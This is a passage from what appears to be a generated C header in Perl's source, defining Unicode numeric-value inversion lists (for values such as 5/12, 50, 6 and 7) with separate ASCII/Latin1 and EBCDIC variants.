0x114D6, - 0x11655, - 0x11656, - 0x116C5, - 0x116C6, - 0x11735, - 0x11736, - 0x118E5, - 0x118E6, - 0x11C55, - 0x11C56, - 0x11C5E, - 0x11C5F, - 0x11D55, - 0x11D56, - 0x12403, - 0x12404, - 0x1240A, - 0x1240B, - 0x12410, - 0x12411, - 0x12419, - 0x1241A, - 0x12422, - 0x12423, - 0x12427, - 0x12428, - 0x12431, - 0x12432, - 0x12439, - 0x1243A, - 0x1244D, - 0x1244E, - 0x12454, - 0x12456, - 0x1246A, - 0x1246B, - 0x16A65, - 0x16A66, - 0x16B55, - 0x16B56, - 0x1D364, - 0x1D365, - 0x1D7D3, - 0x1D7D4, - 0x1D7DD, - 0x1D7DE, - 0x1D7E7, - 0x1D7E8, - 0x1D7F1, - 0x1D7F2, - 0x1D7FB, - 0x1D7FC, - 0x1E8CB, - 0x1E8CC, - 0x1E955, - 0x1E956, - 0x1F106, - 0x1F107, - 0x20121, - 0x20122 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NV__5_SLASH_12_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x109FA, - 0x109FB -}; - -static const UV PL_NV__5_SLASH_2_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF2C, - 0xF2D -}; - -static const UV PL_NV__5_SLASH_6_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x215A, - 0x215B, - 0x109FF, - 0x10A00, - 0x1245C, - 0x1245D -}; - -static const UV PL_NV__5_SLASH_8_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x215D, - 0x215E -}; - -static const UV PL_NV__50_invlist[] = { /* for all charsets */ - 49, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1376, - 0x1377, - 0x216C, - 0x216D, - 0x217C, - 0x217D, - 0x2186, - 0x2187, - 0x324C, - 0x324D, - 0x32BF, - 0x32C0, - 0x10114, - 0x10115, - 0x10144, - 0x10145, - 0x1014A, - 0x1014B, - 0x10151, - 0x10152, - 0x10166, - 0x1016A, - 0x10174, - 0x10175, - 0x102EE, - 0x102EF, - 0x10323, - 0x10324, - 0x109CD, - 0x109CE, - 0x10A7E, - 0x10A7F, - 0x10CFD, - 0x10CFE, - 0x10E6D, - 0x10E6E, - 0x1105F, - 0x11060, - 0x111EE, - 0x111EF, - 0x118EE, - 0x118EF, - 0x11C67, - 0x11C68, - 0x12468, - 0x12469, - 0x1D36D, - 0x1D36E -}; - -static const UV PL_NV__500_invlist[] = { /* for all charsets */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x216E, - 0x216F, - 0x217E, - 0x217F, - 0x1011D, - 0x1011E, - 0x10145, - 0x10146, - 0x1014C, - 0x1014D, - 0x10153, - 0x10154, - 0x1016C, - 0x10171, - 0x102F7, - 0x102F8, - 0x109D6, - 0x109D7, - 0x10E76, - 0x10E77 -}; - -static const UV PL_NV__5000_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2181, - 0x2182, - 0x10126, - 0x10127, - 0x10146, - 0x10147, - 0x1014E, - 0x1014F, - 0x10172, - 0x10173, - 0x109DF, - 0x109E0 -}; - -static const UV PL_NV__50000_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2187, - 0x2188, - 0x1012F, - 0x10130, - 0x10147, - 0x10148, - 0x10156, - 0x10157, - 0x109E8, - 0x109E9 -}; - -static const UV PL_NV__500000_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x109F1, - 0x109F2 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NV__6_invlist[] = { /* for ASCII/Latin1 */ - 203, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x36, - 0x37, - 0x666, - 0x667, - 0x6F6, - 0x6F7, - 0x7C6, - 0x7C7, - 0x96C, - 0x96D, - 0x9EC, - 0x9ED, - 0xA6C, - 0xA6D, - 0xAEC, - 0xAED, - 0xB6C, - 0xB6D, - 0xBEC, - 0xBED, - 0xC6C, - 0xC6D, - 0xCEC, - 0xCED, - 0xD6C, - 0xD6D, - 0xDEC, - 0xDED, - 0xE56, - 0xE57, - 0xED6, - 0xED7, - 0xF26, - 0xF27, - 0x1046, - 0x1047, - 0x1096, - 0x1097, - 0x136E, - 0x136F, - 0x17E6, - 0x17E7, - 0x17F6, - 0x17F7, - 0x1816, - 0x1817, - 0x194C, - 0x194D, - 0x19D6, - 0x19D7, - 0x1A86, - 0x1A87, - 0x1A96, - 0x1A97, - 0x1B56, - 0x1B57, - 0x1BB6, - 0x1BB7, - 0x1C46, - 0x1C47, - 0x1C56, - 0x1C57, - 0x2076, - 0x2077, - 0x2086, - 0x2087, - 0x2165, - 0x2166, - 0x2175, - 0x2176, - 0x2185, - 0x2186, - 0x2465, - 0x2466, - 0x2479, - 0x247A, - 0x248D, - 0x248E, - 0x24FA, - 0x24FB, - 0x277B, - 0x277C, - 0x2785, - 0x2786, - 0x278F, - 0x2790, - 0x3026, - 0x3027, - 0x3225, - 0x3226, - 0x3285, - 0x3286, - 0x516D, - 0x516E, - 0x9646, - 0x9647, - 0x9678, - 0x9679, - 0xA626, - 0xA627, - 0xA6EB, - 0xA6EC, - 0xA8D6, - 0xA8D7, - 0xA906, - 0xA907, - 0xA9D6, - 0xA9D7, - 0xA9F6, - 0xA9F7, - 0xAA56, - 0xAA57, - 0xABF6, - 0xABF7, - 0xF9D1, - 0xF9D2, - 0xF9D3, - 0xF9D4, - 0xFF16, - 0xFF17, - 0x1010C, - 0x1010D, - 0x102E6, - 0x102E7, - 0x104A6, - 0x104A7, - 0x109C5, - 0x109C6, - 0x10E65, - 0x10E66, - 0x11057, - 0x11058, - 0x1106C, - 0x1106D, - 0x110F6, - 0x110F7, - 0x1113C, - 0x1113D, - 0x111D6, - 0x111D7, - 0x111E6, - 0x111E7, - 0x112F6, - 0x112F7, - 0x11456, - 0x11457, - 0x114D6, - 0x114D7, - 0x11656, - 0x11657, - 0x116C6, - 0x116C7, - 0x11736, - 0x11737, - 0x118E6, - 0x118E7, - 0x11C56, - 0x11C57, - 0x11C5F, - 0x11C60, - 0x11D56, - 0x11D57, - 0x12404, - 0x12405, - 0x1240B, - 0x1240C, - 0x12411, - 0x12412, - 0x1241A, - 0x1241B, - 0x12428, - 0x12429, - 0x12440, - 0x12441, - 0x1244E, - 0x1244F, - 0x1246B, - 0x1246C, - 0x16A66, - 0x16A67, - 0x16B56, - 0x16B57, - 0x1D365, - 0x1D366, - 0x1D7D4, - 0x1D7D5, - 0x1D7DE, - 0x1D7DF, - 0x1D7E8, - 0x1D7E9, - 0x1D7F2, - 0x1D7F3, - 0x1D7FC, - 0x1D7FD, - 0x1E8CC, - 0x1E8CD, - 0x1E956, - 0x1E957, - 0x1F107, - 0x1F108, - 0x20AEA, - 0x20AEB -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__6_invlist[] = { /* for EBCDIC 1047 */ - 203, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF6, - 0xF7, - 0x666, - 0x667, - 0x6F6, - 0x6F7, - 0x7C6, - 0x7C7, - 0x96C, - 0x96D, - 0x9EC, - 0x9ED, - 0xA6C, - 0xA6D, - 0xAEC, - 0xAED, - 0xB6C, - 0xB6D, - 0xBEC, - 0xBED, - 0xC6C, - 0xC6D, - 0xCEC, - 0xCED, - 0xD6C, - 0xD6D, - 0xDEC, - 0xDED, - 0xE56, - 0xE57, - 0xED6, - 0xED7, - 0xF26, - 0xF27, - 0x1046, - 0x1047, - 0x1096, - 0x1097, - 0x136E, - 0x136F, - 0x17E6, - 0x17E7, - 0x17F6, - 0x17F7, - 0x1816, - 0x1817, - 0x194C, - 0x194D, - 0x19D6, - 0x19D7, - 0x1A86, - 0x1A87, - 0x1A96, - 0x1A97, - 0x1B56, - 0x1B57, - 0x1BB6, - 0x1BB7, - 0x1C46, - 0x1C47, - 0x1C56, - 0x1C57, - 0x2076, - 0x2077, - 0x2086, - 0x2087, - 0x2165, - 0x2166, - 0x2175, - 0x2176, - 0x2185, - 0x2186, - 0x2465, - 0x2466, - 0x2479, - 0x247A, - 0x248D, - 0x248E, - 0x24FA, - 0x24FB, - 0x277B, - 0x277C, - 0x2785, - 0x2786, - 0x278F, - 0x2790, - 0x3026, - 0x3027, - 0x3225, - 0x3226, - 0x3285, - 0x3286, - 0x516D, - 0x516E, - 0x9646, - 0x9647, - 0x9678, - 0x9679, - 0xA626, - 0xA627, - 0xA6EB, - 0xA6EC, - 0xA8D6, - 0xA8D7, - 0xA906, - 0xA907, - 0xA9D6, - 0xA9D7, - 0xA9F6, - 0xA9F7, - 0xAA56, - 0xAA57, - 0xABF6, - 0xABF7, - 0xF9D1, - 0xF9D2, - 0xF9D3, - 0xF9D4, - 0xFF16, - 0xFF17, - 0x1010C, - 0x1010D, - 0x102E6, - 0x102E7, - 0x104A6, - 0x104A7, - 0x109C5, - 0x109C6, - 0x10E65, - 0x10E66, - 0x11057, - 0x11058, - 0x1106C, - 0x1106D, - 0x110F6, - 0x110F7, - 0x1113C, - 0x1113D, - 0x111D6, - 0x111D7, - 0x111E6, - 0x111E7, - 0x112F6, - 0x112F7, - 0x11456, - 0x11457, - 0x114D6, - 0x114D7, - 0x11656, - 0x11657, - 0x116C6, - 0x116C7, - 0x11736, - 0x11737, - 0x118E6, - 0x118E7, - 0x11C56, - 0x11C57, - 0x11C5F, - 0x11C60, - 0x11D56, - 0x11D57, - 0x12404, - 0x12405, - 0x1240B, - 0x1240C, - 0x12411, - 0x12412, - 0x1241A, - 0x1241B, - 0x12428, - 0x12429, - 0x12440, - 0x12441, - 0x1244E, - 0x1244F, - 0x1246B, - 0x1246C, - 0x16A66, - 0x16A67, - 0x16B56, - 0x16B57, - 0x1D365, - 0x1D366, - 0x1D7D4, - 0x1D7D5, - 0x1D7DE, - 0x1D7DF, - 0x1D7E8, - 0x1D7E9, - 0x1D7F2, - 0x1D7F3, - 0x1D7FC, - 0x1D7FD, - 0x1E8CC, - 0x1E8CD, - 0x1E956, - 0x1E957, - 0x1F107, - 0x1F108, - 0x20AEA, - 0x20AEB -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__6_invlist[] = { /* for EBCDIC 037 */ - 203, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF6, - 0xF7, - 0x666, - 0x667, - 0x6F6, - 0x6F7, - 0x7C6, - 0x7C7, - 0x96C, - 0x96D, - 0x9EC, - 0x9ED, - 0xA6C, - 0xA6D, - 0xAEC, - 0xAED, - 0xB6C, - 0xB6D, - 0xBEC, - 0xBED, - 0xC6C, - 0xC6D, - 0xCEC, - 0xCED, - 0xD6C, - 0xD6D, - 0xDEC, - 0xDED, - 0xE56, - 0xE57, - 0xED6, - 0xED7, - 0xF26, - 0xF27, - 0x1046, - 0x1047, - 0x1096, - 0x1097, - 0x136E, - 0x136F, - 0x17E6, - 0x17E7, - 0x17F6, - 0x17F7, - 0x1816, - 0x1817, - 0x194C, - 0x194D, - 0x19D6, - 0x19D7, - 0x1A86, - 0x1A87, - 0x1A96, - 0x1A97, - 0x1B56, - 0x1B57, - 0x1BB6, - 0x1BB7, - 0x1C46, - 0x1C47, - 0x1C56, - 0x1C57, - 0x2076, - 0x2077, - 0x2086, - 0x2087, - 0x2165, - 0x2166, - 0x2175, - 0x2176, - 0x2185, - 0x2186, - 0x2465, - 0x2466, - 0x2479, - 0x247A, - 0x248D, - 0x248E, - 0x24FA, - 0x24FB, - 0x277B, - 0x277C, - 0x2785, - 0x2786, - 0x278F, - 0x2790, - 0x3026, - 0x3027, - 0x3225, - 0x3226, - 0x3285, - 0x3286, - 0x516D, - 0x516E, - 0x9646, - 0x9647, - 0x9678, - 0x9679, - 0xA626, - 0xA627, - 0xA6EB, - 0xA6EC, - 0xA8D6, - 0xA8D7, - 0xA906, - 0xA907, - 0xA9D6, - 0xA9D7, - 0xA9F6, - 0xA9F7, - 0xAA56, - 0xAA57, - 0xABF6, - 0xABF7, - 0xF9D1, - 0xF9D2, - 0xF9D3, - 0xF9D4, - 0xFF16, - 0xFF17, - 0x1010C, - 0x1010D, - 0x102E6, - 0x102E7, - 0x104A6, - 0x104A7, - 0x109C5, - 0x109C6, - 0x10E65, - 0x10E66, - 0x11057, - 0x11058, - 0x1106C, - 0x1106D, - 0x110F6, - 0x110F7, - 0x1113C, - 0x1113D, - 0x111D6, - 0x111D7, - 0x111E6, - 0x111E7, - 0x112F6, - 0x112F7, - 0x11456, - 0x11457, - 0x114D6, - 0x114D7, - 0x11656, - 0x11657, - 0x116C6, - 0x116C7, - 0x11736, - 0x11737, - 0x118E6, - 0x118E7, - 0x11C56, - 0x11C57, - 0x11C5F, - 0x11C60, - 0x11D56, - 0x11D57, - 0x12404, - 0x12405, - 0x1240B, - 0x1240C, - 0x12411, - 0x12412, - 0x1241A, - 0x1241B, - 0x12428, - 0x12429, - 0x12440, - 0x12441, - 0x1244E, - 0x1244F, - 0x1246B, - 0x1246C, - 0x16A66, - 0x16A67, - 0x16B56, - 0x16B57, - 0x1D365, - 0x1D366, - 0x1D7D4, - 0x1D7D5, - 0x1D7DE, - 0x1D7DF, - 0x1D7E8, - 0x1D7E9, - 0x1D7F2, - 0x1D7F3, - 0x1D7FC, - 0x1D7FD, - 0x1E8CC, - 0x1E8CD, - 0x1E956, - 0x1E957, - 0x1F107, - 0x1F108, - 0x20AEA, - 0x20AEB -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NV__60_invlist[] = { /* for all charsets */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1377, - 0x1378, - 0x324D, - 0x324E, - 0x10115, - 0x10116, - 0x102EF, - 0x102F0, - 0x109CE, - 0x109CF, - 0x10E6E, - 0x10E6F, - 0x11060, - 0x11061, - 0x111EF, - 0x111F0, - 0x118EF, - 0x118F0, - 0x11C68, - 0x11C69, - 0x1D36E, - 0x1D36F -}; - -static const UV PL_NV__600_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1011E, - 0x1011F, - 0x102F8, - 0x102F9, - 0x109D7, - 0x109D8, - 0x10E77, - 0x10E78 -}; - -static const UV PL_NV__6000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10127, - 0x10128, - 0x109E0, - 0x109E1 -}; - -static const UV PL_NV__60000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10130, - 0x10131, - 0x109E9, - 0x109EA -}; - -static const UV PL_NV__600000_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x109F2, - 0x109F3 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NV__7_invlist[] = { /* for ASCII/Latin1 */ - 197, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x37, - 0x38, - 0x667, - 0x668, - 0x6F7, - 0x6F8, - 0x7C7, - 0x7C8, - 0x96D, - 0x96E, - 0x9ED, - 0x9EE, - 0xA6D, - 0xA6E, - 0xAED, - 0xAEE, - 0xB6D, - 0xB6E, - 0xBED, - 0xBEE, - 0xC6D, - 0xC6E, - 0xCED, - 0xCEE, - 0xD6D, - 0xD6E, - 0xDED, - 0xDEE, - 0xE57, - 0xE58, - 0xED7, - 0xED8, - 0xF27, - 0xF28, - 0x1047, - 0x1048, - 0x1097, - 0x1098, - 0x136F, - 0x1370, - 0x17E7, - 0x17E8, - 0x17F7, - 0x17F8, - 0x1817, - 0x1818, - 0x194D, - 0x194E, - 0x19D7, - 0x19D8, - 0x1A87, - 0x1A88, - 0x1A97, - 0x1A98, - 0x1B57, - 0x1B58, - 0x1BB7, - 0x1BB8, - 0x1C47, - 0x1C48, - 0x1C57, - 0x1C58, - 0x2077, - 0x2078, - 0x2087, - 0x2088, - 0x2166, - 0x2167, - 0x2176, - 0x2177, - 0x2466, - 0x2467, - 0x247A, - 0x247B, - 0x248E, - 0x248F, - 0x24FB, - 0x24FC, - 0x277C, - 0x277D, - 0x2786, - 0x2787, - 0x2790, - 0x2791, - 0x3027, - 0x3028, - 0x3226, - 0x3227, - 0x3286, - 0x3287, - 0x3B4D, - 0x3B4E, - 0x4E03, - 0x4E04, - 0x67D2, - 0x67D3, - 0x6F06, - 0x6F07, - 0xA627, - 0xA628, - 0xA6EC, - 0xA6ED, - 0xA8D7, - 0xA8D8, - 0xA907, - 0xA908, - 0xA9D7, - 0xA9D8, - 0xA9F7, - 0xA9F8, - 0xAA57, - 0xAA58, - 0xABF7, - 0xABF8, - 0xFF17, - 0xFF18, - 0x1010D, - 0x1010E, - 0x102E7, - 0x102E8, - 0x104A7, - 0x104A8, - 0x109C6, - 0x109C7, - 0x10E66, - 0x10E67, - 0x11058, - 0x11059, - 0x1106D, - 0x1106E, - 0x110F7, - 0x110F8, - 0x1113D, - 0x1113E, - 0x111D7, - 0x111D8, - 0x111E7, - 0x111E8, - 0x112F7, - 0x112F8, - 0x11457, - 0x11458, - 0x114D7, - 0x114D8, - 0x11657, - 0x11658, - 0x116C7, - 0x116C8, - 0x11737, - 0x11738, - 0x118E7, - 0x118E8, - 0x11C57, - 0x11C58, - 0x11C60, - 0x11C61, - 0x11D57, - 0x11D58, - 0x12405, - 0x12406, - 0x1240C, - 0x1240D, - 0x12412, - 0x12413, - 0x1241B, - 0x1241C, - 0x12429, - 0x1242A, - 0x12441, - 0x12444, - 0x1246C, - 0x1246D, - 0x16A67, - 0x16A68, - 0x16B57, - 0x16B58, - 0x1D366, - 0x1D367, - 0x1D7D5, - 0x1D7D6, - 0x1D7DF, - 0x1D7E0, - 0x1D7E9, - 0x1D7EA, - 0x1D7F3, - 0x1D7F4, - 0x1D7FD, - 0x1D7FE, - 0x1E8CD, - 0x1E8CE, - 0x1E957, - 0x1E958, - 0x1F108, - 0x1F109, - 0x20001, - 0x20002 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__7_invlist[] = { /* for EBCDIC 1047 */ - 197, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF7, - 0xF8, - 0x667, - 0x668, - 0x6F7, - 0x6F8, - 0x7C7, - 0x7C8, - 0x96D, - 0x96E, - 0x9ED, - 0x9EE, - 0xA6D, - 0xA6E, - 0xAED, - 0xAEE, - 0xB6D, - 0xB6E, - 0xBED, - 0xBEE, - 0xC6D, - 0xC6E, - 0xCED, - 0xCEE, - 0xD6D, - 0xD6E, - 0xDED, - 0xDEE, - 0xE57, - 0xE58, - 0xED7, - 0xED8, - 0xF27, - 0xF28, - 0x1047, - 0x1048, - 0x1097, - 0x1098, - 0x136F, - 0x1370, - 0x17E7, - 0x17E8, - 0x17F7, - 0x17F8, - 0x1817, - 0x1818, - 0x194D, - 0x194E, - 0x19D7, - 0x19D8, - 0x1A87, - 0x1A88, - 0x1A97, - 0x1A98, - 0x1B57, - 0x1B58, - 0x1BB7, - 0x1BB8, - 0x1C47, - 0x1C48, - 0x1C57, - 0x1C58, - 0x2077, - 0x2078, - 0x2087, - 0x2088, - 0x2166, - 0x2167, - 0x2176, - 0x2177, - 0x2466, - 0x2467, - 0x247A, - 0x247B, - 0x248E, - 0x248F, - 0x24FB, - 0x24FC, - 0x277C, - 0x277D, - 0x2786, - 0x2787, - 0x2790, - 0x2791, - 0x3027, - 0x3028, - 0x3226, - 0x3227, - 0x3286, - 0x3287, - 0x3B4D, - 0x3B4E, - 0x4E03, - 0x4E04, - 0x67D2, - 0x67D3, - 0x6F06, - 0x6F07, - 0xA627, - 0xA628, - 0xA6EC, - 0xA6ED, - 0xA8D7, - 0xA8D8, - 0xA907, - 0xA908, - 0xA9D7, - 0xA9D8, - 0xA9F7, - 0xA9F8, - 0xAA57, - 0xAA58, - 0xABF7, - 0xABF8, - 0xFF17, - 0xFF18, - 0x1010D, - 0x1010E, - 0x102E7, - 0x102E8, - 0x104A7, - 0x104A8, - 0x109C6, - 0x109C7, - 0x10E66, - 0x10E67, - 0x11058, - 0x11059, - 0x1106D, - 0x1106E, - 0x110F7, - 0x110F8, - 0x1113D, - 0x1113E, - 0x111D7, - 0x111D8, - 0x111E7, - 0x111E8, - 0x112F7, - 0x112F8, - 0x11457, - 0x11458, - 0x114D7, - 0x114D8, - 0x11657, - 0x11658, - 0x116C7, - 0x116C8, - 0x11737, - 0x11738, - 0x118E7, - 0x118E8, - 0x11C57, - 0x11C58, - 0x11C60, - 0x11C61, - 0x11D57, - 0x11D58, - 0x12405, - 0x12406, - 0x1240C, - 0x1240D, - 0x12412, - 0x12413, - 0x1241B, - 0x1241C, - 0x12429, - 0x1242A, - 0x12441, - 0x12444, - 0x1246C, - 0x1246D, - 0x16A67, - 0x16A68, - 0x16B57, - 0x16B58, - 0x1D366, - 0x1D367, - 0x1D7D5, - 0x1D7D6, - 0x1D7DF, - 0x1D7E0, - 0x1D7E9, - 0x1D7EA, - 0x1D7F3, - 0x1D7F4, - 0x1D7FD, - 0x1D7FE, - 0x1E8CD, - 0x1E8CE, - 0x1E957, - 0x1E958, - 0x1F108, - 0x1F109, - 0x20001, - 0x20002 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__7_invlist[] = { /* for EBCDIC 037 */ - 197, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF7, - 0xF8, - 0x667, - 0x668, - 0x6F7, - 0x6F8, - 0x7C7, - 0x7C8, - 0x96D, - 0x96E, - 0x9ED, - 0x9EE, - 0xA6D, - 0xA6E, - 0xAED, - 0xAEE, - 0xB6D, - 0xB6E, - 0xBED, - 0xBEE, - 0xC6D, - 0xC6E, - 0xCED, - 0xCEE, - 0xD6D, - 0xD6E, - 0xDED, - 0xDEE, - 0xE57, - 0xE58, - 0xED7, - 0xED8, - 0xF27, - 0xF28, - 0x1047, - 0x1048, - 0x1097, - 0x1098, - 0x136F, - 0x1370, - 0x17E7, - 0x17E8, - 0x17F7, - 0x17F8, - 0x1817, - 0x1818, - 0x194D, - 0x194E, - 0x19D7, - 0x19D8, - 0x1A87, - 0x1A88, - 0x1A97, - 0x1A98, - 0x1B57, - 0x1B58, - 0x1BB7, - 0x1BB8, - 0x1C47, - 0x1C48, - 0x1C57, - 0x1C58, - 0x2077, - 0x2078, - 0x2087, - 0x2088, - 0x2166, - 0x2167, - 0x2176, - 0x2177, - 0x2466, - 0x2467, - 0x247A, - 0x247B, - 0x248E, - 0x248F, - 0x24FB, - 0x24FC, - 0x277C, - 0x277D, - 0x2786, - 0x2787, - 0x2790, - 0x2791, - 0x3027, - 0x3028, - 0x3226, - 0x3227, - 0x3286, - 0x3287, - 0x3B4D, - 0x3B4E, - 0x4E03, - 0x4E04, - 0x67D2, - 0x67D3, - 0x6F06, - 0x6F07, - 0xA627, - 0xA628, - 0xA6EC, - 0xA6ED, - 0xA8D7, - 0xA8D8, - 0xA907, - 0xA908, - 0xA9D7, - 0xA9D8, - 0xA9F7, - 0xA9F8, - 0xAA57, - 0xAA58, - 0xABF7, - 0xABF8, - 0xFF17, - 0xFF18, - 0x1010D, - 0x1010E, - 0x102E7, - 0x102E8, - 0x104A7, - 0x104A8, - 0x109C6, - 0x109C7, - 0x10E66, - 0x10E67, - 0x11058, - 0x11059, - 0x1106D, - 0x1106E, - 0x110F7, - 0x110F8, - 0x1113D, - 0x1113E, - 0x111D7, - 0x111D8, - 0x111E7, - 0x111E8, - 0x112F7, - 0x112F8, - 0x11457, - 0x11458, - 0x114D7, - 0x114D8, - 0x11657, - 0x11658, - 0x116C7, - 0x116C8, - 0x11737, - 0x11738, - 0x118E7, - 0x118E8, - 0x11C57, - 0x11C58, - 0x11C60, - 0x11C61, - 0x11D57, - 0x11D58, - 0x12405, - 0x12406, - 0x1240C, - 0x1240D, - 0x12412, - 0x12413, - 0x1241B, - 0x1241C, - 0x12429, - 0x1242A, - 0x12441, - 0x12444, - 0x1246C, - 0x1246D, - 0x16A67, - 0x16A68, - 0x16B57, - 0x16B58, - 0x1D366, - 0x1D367, - 0x1D7D5, - 0x1D7D6, - 0x1D7DF, - 0x1D7E0, - 0x1D7E9, - 0x1D7EA, - 0x1D7F3, - 0x1D7F4, - 0x1D7FD, - 0x1D7FE, - 0x1E8CD, - 0x1E8CE, - 0x1E957, - 0x1E958, - 0x1F108, - 0x1F109, - 0x20001, - 0x20002 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NV__7_SLASH_12_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x109FC, - 0x109FD -}; - -static const UV PL_NV__7_SLASH_2_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF2D, - 0xF2E -}; - -static const UV PL_NV__7_SLASH_8_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x215E, - 0x215F -}; - -static const UV PL_NV__70_invlist[] = { /* for all charsets */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1378, - 0x1379, - 0x324E, - 0x324F, - 0x10116, - 0x10117, - 0x102F0, - 0x102F1, - 0x109CF, - 0x109D0, - 0x10E6F, - 0x10E70, - 0x11061, - 0x11062, - 0x111F0, - 0x111F1, - 0x118F0, - 0x118F1, - 0x11C69, - 0x11C6A, - 0x1D36F, - 0x1D370 -}; - -static const UV PL_NV__700_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1011F, - 0x10120, - 0x102F9, - 0x102FA, - 0x109D8, - 0x109D9, - 0x10E78, - 0x10E79 -}; - -static const UV PL_NV__7000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10128, - 0x10129, - 0x109E1, - 0x109E2 -}; - -static const UV PL_NV__70000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10131, - 0x10132, - 0x109EA, - 0x109EB -}; - -static const UV PL_NV__700000_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 